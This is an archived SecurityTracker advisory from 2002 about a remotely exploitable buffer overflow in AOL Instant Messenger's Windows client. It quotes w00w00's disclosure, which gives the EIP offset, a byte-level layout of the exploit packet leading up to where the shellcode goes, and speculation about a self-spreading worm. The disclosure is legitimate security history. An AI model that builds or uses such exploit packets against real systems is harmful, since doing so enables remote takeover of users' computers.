Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   AOL Instant Messenger Vendors:   America Online, Inc.
AOL Instant Messenger (AIM) Buffer Overflow Lets Remote Users Execute Arbitrary Code and Gain Full Control of the AIM User's Computer
SecurityTracker Alert ID:  1003088
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 2 2002
Impact:   Execution of arbitrary code via network, Root access via network, User access via network
Exploit Included:  Yes  
Version(s): stable (4.7.2480) and beta (4.8.2616) Windows versions
Description:   A buffer overflow vulnerability was reported in the AOL Instant Messenger (AIM) client software for Microsoft Windows operating systems. A remote user can execute arbitrary code on the AIM user's computer and may be able to obtain full control of the computer.

It is reported that the flaw is due to an overflow in the code that parses a game request, apparently in the parsing of TLV type 0x2711.

The vendor has reportedly been notified.

Demonstration exploit code is available at:

This flaw was also reported by Robbie Saunders.

Impact:   A remote user can execute arbitrary code on the AIM user's computer. This code will execute with the privileges of the AIM user.
Solution:   No solution was available at the time of this entry.

The author of the report recommends using Robbie Saunders AIM Filter, available at:

Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Additional Details Are Provided) Re: AOL Instant Messenger (AIM) Buffer Overflow Lets Remote Users Execute Arbitrary Code and Gain Full Control of the AIM User's Computer
Additional information about affected versions and a workaround is provided.
(AOL Issues Server-Side Fix) Re: AOL Instant Messenger (AIM) Buffer Overflow Lets Remote Users Execute Arbitrary Code and Gain Full Control of the AIM User's Computer
The vendor has issued a fix.

 Source Message Contents

Subject:  w00w00 on AOL Instant Messenger (serious vulnerability)

                  AOL Instant Messenger advisory

Author: Matt Conover (
Contributors: nocarrier, napster, and w00w00 collectively


Happy w00year! It has been a while, friends, but w00w00 is still going
strong!  w00w00 is over three years old now and still boasts the title
of the world's largest non-profit security team. One thing remains
true about the world of w00w00, though: we love to shake things up.

We'd like to take a moment and make an important point. Due to
unfortunate circumstances, the environment of the security industry
has changed for the worse. Most major vendors and security companies
have all switched their policies to limited disclosure, leaving the
end users still vulnerable to serious software flaws. Big corporate
monopolists: 1, end-users cornered into using second-rate software: 0.
Why?  Two big reasons: the DMCA and using patriotism as an excuse to
avoid disclosing vulnerabilities.

First, the Digital Millenium Copyright Act affects circumvention of
anti-piracy mechanisms and reverse engineering. If a product is
released in binary form only (i.e., AOL) to protect its technologies
and one attempts to reverse engineer the file, it's a violation of
the DMCA. It's no question who the lobbyists behind this law were:
the big corporations. Not surprisingly, AOL Time Warner was one of
the DMCA's biggest supporters. Find out more information about the

Second, Microsoft has "decried" information anarchy. Many major
security companies have followed suit and the rest just bent to the
pressure. However, blaming security research teams, such as w00w00,
for releasing information on vulnerabilities is a cop-out. Whether or
not security research teams release information on vulnerabilities, it
doesn't change the fact that the vendor produced insecure software.
Vulnerabilities are still exploited in the same way they were by the
Internet Worm 13 years ago. Further, one can reasonably assume that a
fair number of hackers are exploiting unpublished vulnerabilities.
By only silently updating products, computer users are unknowingly left


AOL Instant Messenger (AIM) has a major security vulnerability in the
latest stable (4.7.2480) and beta (4.8.2616) Windows versions. This
vulnerability will allow remote penetration of the victim's system
without any indication as to who performed the attack. There is no
opportunity to refuse the request. This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.

This particular vulnerability results from an overflow in the code
that parses a game request. The actual overflow appears to be in the
parsing of TLV type 0x2711. This may be more generic and exploitable
through other means, but AOL has not released enough information about
their protocol for us to be able to determine that. Robbie Saunder's
email yesterday should be enough of a hint which direction to look in.

We contacted the AOL Instant Messenger group but never received a
response. Normally we would be inclined to provide a fix, but it is
illegal to reverse engineer the AIM executable (DMCA and AIM's license
agreement to thank), so we are unable to provide a patch which will
modify it. Instead, we recommend Robbie Saunder's AIM Filter
( to protect yourselves.


AOL Instant Messenger ( has over 100 million users.
We think that deserves repeating: 100 million users. Almost all of
these users are Windows users and directly vulnerable to this.

The first implication is that AOL should feel the weight of
responsibility and employ better software development practices. The
developers of a product with so many users should be much more
cautious and avoid overbloating with a multitude of features they
didn't have time to properly test in the first place.

Overall, though, the implications of this vulnerability are huge and
leave the door wide open for a worm not unlike those that Microsoft
(*cough* corporate monopoly *cough*) Outlook, IIS, et al. have all had
(Melissa, ILOVEYOU, CodeRed, nimda, etc.). An exploit could easily be
amended to download itself off the web, determine the buddies of the
victim, and then attack them also. Given the general nature of social
networks and how they are structured, we predict that it wouldn't take
long for such an attack to propagate.

To top everything off, the particular overflow described supra is
relatively simple to exploit. The payload can be several thousand bytes
long, which leaves lots of room for creative shellcode. In addition,
the shellcode can have null bytes in it, as long as the shellcode is
located after the offset to EIP in the shellcode. That is, the offset
to EIP is 1723 bytes into TLV type 0x2711. So if the shellcode is
located after offset 1726, null bytes can be left in.


The exploit, w00aimexp, is too big (1000+ lines) to include here, but
it can be downloaded at The
files can be viewed online at

This is the exploit packet generated by w00aimexp (without
USE_FULL_SIZE defined):

FLAP header (6 bytes)
[\x2a] '*' (magic number)
[\x02] channel (data)
[\x00\x11] seqnum number
[\x07\x87] packet length (1927 bytes)

SNAC header (10 bytes)
[\x00\x04] SNAC family (message)
[\x00\x06] SNAC type (outgoing message)
[\x00\x00] SNAC flags (none)
[\x00\x00\x00\x09] SNAC ID

[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

[\x00\x02] SNAC channel (data)

[\x0c] victim screen name length
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name

Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.

[\x00\x05] TLV type (0x05)
[\x07\x62] TLV length (1890 bytes)

[\x00\x00] cookie marker
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

Capability used to exploit this libfaim calls it (SAVESTOCKS):

[\x00\x0a] TLV type (0x0a)
[\x00\x02] TLV length (2 bytes)
[\x00\x01] TLV data

[\x00\x0f] TLV type (0x0f)
[\x00\x00] TLV length (0)

[\x00\x0e] TLV type (0x0e)
[\x00\x02] TLV length (2 bytes)
["en"] TLV data (language)

[\x00\x0d] TLV type (0x0d)
[\x00\x08] TLV length (8 bytes)
["us-ascii"] TLV data (charset)

[\x00\x0c] TLV type (0x0d)
[\x00\x06] TLV length (6 bytes)
["w00w00"] TLV data (game's name?)

[\x00\x03] TLV type (0x03)
[\x00\x04] TLV length (4 bytes)

[\x00\x05] TLV type (0x05)
[\x00\x02] TLV length (2 byte)

[\x00\x07] TLV type (0x07)
[\x00\x4d] TLV length (77 bytes)

[\x27\x11] TLV type (0x2711)
[\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
\x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]

Robbie Saunders
Evan Brewer

Delivery co-sponsored by VeriSign - The Internet Trust Company
When building an e-commerce site, you want to start with a strong, secure
foundation. Learn how with VeriSign's FREE White Paper, "Building an
E-Commerce Trust Infrastructure." See how you can authenticate your site to
customers, use 128-Bit SSL encryption to secure your web servers, and accept
secure payments online. Click here:


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC